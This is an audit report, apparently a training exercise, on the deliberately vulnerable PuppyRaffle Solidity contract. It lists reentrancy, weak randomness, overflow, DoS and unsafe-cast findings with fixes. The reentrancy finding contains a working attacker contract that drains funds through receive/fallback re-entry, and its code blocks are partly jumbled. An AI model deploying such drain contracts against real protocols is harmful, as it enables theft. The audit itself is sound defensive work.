



# **PuppyRaffle Audit Report**

Version 1.0

*Cyfrin.io*

June 7, 2026

# Protocol Audit Report

Onowu Chris

MayJune 7, 2026

Prepared by: Cyfrin Lead Auditors: Onowu Chris

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

## Protocol Summary

### Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
  1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

### Disclaimer

The Chris team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

### Risk Classification

|            |        | Impact |        |     |
|------------|--------|--------|--------|-----|
|            |        | High   | Medium | Low |
| Likelihood | High   | H      | H/M    | M   |
|            | Medium | H/M    | M      | M/L |
|            | Low    | M      | M/L    | L   |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

- Commit Hash: 0804be9b0fd17db9e2953e27e9de46585be870cf
- In Scope:

## Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

## Roles

- `Owner` - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.`
- `Player` - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Executive Summary

I loved auditing this code base. Patrick is such a wizard at writing intensionally bad codes.

## Issues found

| Severity | Number of issues found |
|----------|------------------------|
| High     | 3                      |
| Medium   | 3                      |
| Low      | 1                      |
| Gas      | 2                      |
| Info     | 6                      |
| Total    | 15                     |

## Findings

### High

#### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

**Description:** The `PuppyRaffle::refund` function do not follow CIE (Checks, Effects, Interactions) and has a result, allows participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to `msg.sender` address and only after making the external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7     @> payable(msg.sender).sendValue(entranceFee);
8     @> players[playerIndex] = address(0);
9         emit RaffleRefunded(playerAddress);
10    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. This could continue the cycle until the contract fund is drained.

**Impact:** All fees paid by raffle entrants could be stolen by malicious participant.

#### Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` function
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle:refund` from their attack contract, draining the contract balance.

#### Proof of Code

code

Place the following into `PuppyRaffleTest.t.sol`

```
1    function test_reentrancyRefund() public {
2        address[] memory players = new address[] (4);
3        players[0] = playerOne;
4        players[1] = playerTwo;
5        players[2] = playerThree;
6        players[3] = playerFour;
7        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10            puppyRaffle);
11        address attackUser = makeAddr("attackerUser");
12        vm.deal(attackUser, 1 ether);
13
14        uint256 startingAttackContractBalance = address(
15            attackerContract).balance;
16        uint256 startingContractBalance = address(puppyRaffle).balance;
17
18        // attack
19        vm.prank(attackUser);
20        attackerContract.attack{value: entranceFee}();
21
22        console.log("starting attacker contract balance",
23            startingAttackContractBalance);
24        console.log("starting contract balance",
25            startingContractBalance);
26
27        console.log("ending attacker contract balance", address(
28            attackerContract).balance);
29        console.log("ending contract balance", address(puppyRaffle).
30            balance);
31    }
```

and this contract as well

```
1    contract ReentrancyAttacker {
2        PuppyRaffle puppyRaffle;
3        uint256 entranceFee;
4        uint256 attackerIndex;
5
6        constructor(PuppyRaffle _puppyRaffle) {
7            puppyRaffle = _puppyRaffle;
8            entranceFee = puppyRaffle.entranceFee();
9        }
10
11        function attack() external payable {
12            address[] memory players = new address[] (1);
13            players[0] = address(this);
14            puppyRaffle.enterRaffle{value: entranceFee}(players);
15            attackerIndex = puppyRaffle.getActivePlayerIndex(address(
16                this));
17        }
18    }
```

```
16         puppyRaffle.refund(attackerIndex);
17     }
18
19     function _stealMoney() internal {
20         if (address(puppyRaffle).balance >= entranceFee) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24
25     receive() external payable {
26         _stealMoney();
27     }
28
29     fallback() external payable {
30         _stealMoney();
31     }
32 }
```

**Recommended Mitigation:** To prevent this, we should have the `PuppyRaffle.refund` function update the `players` array first before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7
8         +         players[playerIndex] = address(0);
9         +         emit RaffleRefunded(playerAddress);
10        payable(msg.sender).sendValue(entranceFee);
11        -         players[playerIndex] = address(0);
12        -         emit RaffleRefunded(playerAddress);
13    }
```

## [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows user to predict or influence the winner and influence or predict the puppy.

**Description:** Hashing the `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable final number is not a good random number. Malicious user can manipulate these values or know them ahead of time to chose the winner of the raffle themselves

*Note:* This additionally means users could front-run this function and call `PuppyRaffle::refund` if they see they are not the winner.

**Impact:** Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless as it becomes a gas war as to the winner of the raffle.

**Proof of Concept:**

1. Validators can know ahead of time `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity block on prevrandao. `block.difficulty` was replaced by prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as Chainlink VRF.

**[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees**

**Description:** In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint256 myVar = type(uint64).max;
2 // 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // substituted
3 totalFees = 8000000000000000000 + 17800000000000000000;
4 // due to overflow, the following is now the case
5 totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance ==
2   uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

#### Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
16        players);
17    // We end the raffle
18    vm.warp(block.timestamp + duration + 1);
19    vm.roll(block.number + 1);
20
21    // And here is where the issue occurs
22    // We will now have fewer fees even though we just finished a
23    // second raffle
24    puppyRaffle.selectWinner();
25
26    uint256 endingTotalFees = puppyRaffle.totalFees();
27    console.log("ending total fees", endingTotalFees);
28    assert(endingTotalFees < startingTotalFees);
29
30    // We are also unable to withdraw any fees because of the
31    // require check
32    vm.prank(puppyRaffle.feeAddress());
33    vm.expectRevert("PuppyRaffle: There are currently players
34        active!");
35    puppyRaffle.withdrawFees();
36 }
```

**Recommended Mitigation:** There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;  
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's [SafeMath](#) to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;  
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:  
    There are currently players active!");
```

There are more attack vectors with the final require, so we recommend remove it regardless.

## Medium

### [M-1] Looping through the `players` array to check for duplicates in

**PuppyRaffle::enterRaffle** is a potential Denial Of Service (DoS) attack, increasing gas cost for future entrants.

**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more check a new player will have to make. This means the gas cost for players who enter the raffle right at the start of the raffle will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1 // @audit DoS attack  
2 @> for (uint256 i = 0; i < players.length - 1; i++) {  
3     for (uint256 j = i + 1; j < players.length; j++) {  
4         require(players[i] != players[j], "PuppyRaffle: Duplicate  
            player");  
5     }  
6 }
```

**Impact:** The gas cost for raffle entrants will be greatly increased as more players enter the raffle. Discouraging latter users from entering, and cause a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

### Proof of Concept:

If we have 2 sets of 100 players enter the raffle, the gas cost will be such:

- 1st 100 players: ~6503275 gas
- 2nd 100 players: ~18995515 gas

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1      function test_denialOfService() public {
2          vm.txGasPrice(1);
3
4          // Let's enter 100 players
5          uint256 playersNum = 100;
6          address[] memory players = new address[](playersNum);
7          for (uint256 i = 0; i < playersNum; i++) {
8              players[i] = address(i);
9          }
10
11         // See how much gas it cost
12         uint256 gasStart = gasleft();
13         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
14             players);
15         uint256 gasEnd = gasleft();
16         uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
17
18         console.log("Gas cost of the first 100 player: ", gasUsedFirst);
19
20         // Let's enter for the 2nd 100 players
21         address[] memory playersTwo = new address[](playersNum);
22         for (uint256 i = 0; i < playersNum; i++) {
23             playersTwo[i] = address(i + playersNum);
24         }
25
26         // See how much gas it cost
27         uint256 gasStartSecond = gasleft();
28         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
29             playersTwo);
30         uint256 gasEndSecond = gasleft();
31         uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
```

```
32     console.log("Gas cost of the second 100 player: ",
33                 gasUsedSecond);
34     assert(gasUsedFirst < gasUsedSecond);
35 }
```

**Recommended Mitigation:** There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallets addresses anyways, so a duplicate check does not prevent the same person from entering multiple time, only the same wallet address.
2. Consider using a mapping to check for duplicates. This will allow constant time lookup whether a user has already entered.

```
1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3     .
4     .
5     .
6     function enterRaffle(address[] memory newPlayers) public payable {
7         require(msg.value == entranceFee * newPlayers.length, "
8             PuppyRaffle: Must send enough to enter raffle");
9         for (uint256 i = 0; i < newPlayers.length; i++) {
10            players.push(newPlayers[i]);
11            addressToRaffleId[newPlayers[i]] = raffleId;
12        }
13        - // Check for duplicates
14        + // Check for duplicates only for the new players
15        + for (uint256 i = 0; i < newPlayers.length - 1; i++) {
16            require(addressToRaffleId[newPlayers[i]] != raffleId,
17                "PuppyRaffle: Duplicate player");
18        }
19        - for (uint256 i = 0; i < players.length - 1; i++) {
20            - for (uint256 j = i + 1; j < players.length; j++) {
21                require(players[i] != players[j], "PuppyRaffle:
22                Duplicate player");
23            }
24        }
25        emit RaffleEnter(newPlayers);
26    }
27    .
28    function selectWinner() external {
29        + raffleId = raffleId + 1;
30        require(block.timestamp >= raffleStartTime + raffleDuration, "
31            PuppyRaffle: Raffle not over");
32    }
```

```
32      .
33      .
34    }
```

Alternatively, you could use openZeppelin's [EnumerableSet](#) library.

### [M-2] Unsafe cast of `PuppyRaffle : fee` loses fees

**Description:** In `PuppyRaffle : selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1    function selectWinner() external {
2        require(block.timestamp >= raffleStartTime + raffleDuration, "
          PuppyRaffle: Raffle not over");
3        require(players.length > 0, "PuppyRaffle: No players in raffle"
          );
4
5        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
          sender, block.timestamp, block.difficulty))) % players.
          length;
6        address winner = players[winnerIndex];
7        uint256 fee = totalFees / 10;
8        uint256 winnings = address(this).balance - fee;
9    @>    totalFees = totalFees + uint64(fee);
10        players = new address[] (0);
11        emit RaffleWinner(winner, winnings);
12    }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

**Impact:** This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

#### Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1    uint256 max = type(uint64).max
2    uint256 fee = max + 1
3    uint64(fee)
4    // prints 0
```

**Recommended Mitigation:** Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 -   uint64 public totalFees = 0;
2 +   uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
8             PuppyRaffle: Raffle not over");
9         require(players.length >= 4, "PuppyRaffle: Need at least 4
10            players");
11         uint256 winnerIndex =
12             uint256(keccak256(abi.encodePacked(msg.sender, block.
13                 timestamp, block.difficulty))) % players.length;
14         address winner = players[winnerIndex];
15         uint256 totalAmountCollected = players.length * entranceFee;
16         uint256 prizePool = (totalAmountCollected * 80) / 100;
17         uint256 fee = (totalAmountCollected * 20) / 100;
18         totalFees = totalFees + uint64(fee);
19         totalFees = totalFees + fee;
20     .
21     .
22     .
23 }
```

### [M-3] Smart contract raffle winner without a receive or fallback function will block the start of a new contest

**Description:** The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery will not be able to restart.

Users could easily call the `selectWinner` and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and the lottery reset could get very challenging.

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times making the raffle reset difficult.

Also true winners will not get paid out and someone else could take their money!

**Proof of Concept:**

1. 10 smart contract wallets enter the lottery without a `fallback` or `receive` function.
2. The lottery ends.
3. The `PuppyRaffle::selectWinner` function won't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrant (Not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owners on the winners to claim the prize. (Recommended).

## Low

**[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.**

**Description:** If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1    /// @return the index of the player in the array, if they are not
    active, it returns 0
2    function getActivePlayerIndex(address player) external view returns
    (uint256) {
3        for (uint256 i = 0; i < players.length; i++) {
4            if (players[i] == player) {
5                return i;
6            }
7        }
8        return 0;
9    }
```

**Impact:** A player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

### Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

**Recommended Mitigation:** the easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where function returns -1 if the player is not active.

## Gas

### [G-1] Unchanged variables should be declared constant or immutable

Reading from storage is much more expensive that reading from a constant or immutable.

Instances: `PuppyRaffle::raffleDuration` should be `immutable` `PuppyRaffle::commonImageUri` should be `constant` `PuppyRaffle::rareImageUri` should be `constant` `PuppyRaffle::legendaryImageUri` should be `constant`

### [G-2] Storage variable in a loop should be cached

Everytime you call 'players.length you read from storage , as opposed to memory which is much gas efficient.

```
1 +      uint256 playerLength = players.length
2 -      for (uint256 i = 0; i < players.length - 1; i++) {
3 +      for (uint256 i = 0; i < playerLength - 1; i++) {
4 -          for (uint256 j = i + 1; j < players.length; j++) {
5 +          for (uint256 j = i + 1; j < playerLength; j++) {
6              require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
7          }
8      }
```

## Informational

### [I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1      pragma solidity ^0.7.6; // # ? is this the right version?
```

**[I-2] Incorrect versions of Solidity.**

Configuration Check: solc-version Severity: Informational Confidence: High

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommendation:** Deploy with a recent version of Solidity at least:

0.8.0 with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see Slither documentations for more information.

**[I-3] Address State Variable Set Without Checks**

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 66

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 211

```
1 feeAddress = newFeeAddress;
```

**[I-4] PuppyRaffle::selectWinner does not follow CEI, which is best practice**

It does not follow best practice CEI (Checks, Effect, Interaction).

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to winner");
3   _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

**[I-5] Magic Numbers**

**Description:** All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called “magic numbers”.

**Recommended Mitigation:** Replace all magic numbers with constants.

```
1 + uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 + uint256 public constant FEE_PERCENTAGE = 20;
3 + uint256 public constant POOL_PRECISION = 100;
4 .
5 .
6 .
7 - uint256 prizePool = (totalAmountCollected * 80) / 100;
8 - uint256 fee = (totalAmountCollected * 20) / 100;
9   uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
   / TOTAL_PERCENTAGE;
10  uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
   TOTAL_PERCENTAGE;
```

**[I-6] isActivePlayer is never used and should be removed**

**Description:** The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 - function _isActivePlayer() internal view returns (bool) {
2 -     for (uint256 i = 0; i < players.length; i++) {
3 -         if (players[i] == msg.sender) {
4 -             return true;
5 -         }
6 -     }
7 -     return false;
8 - }
```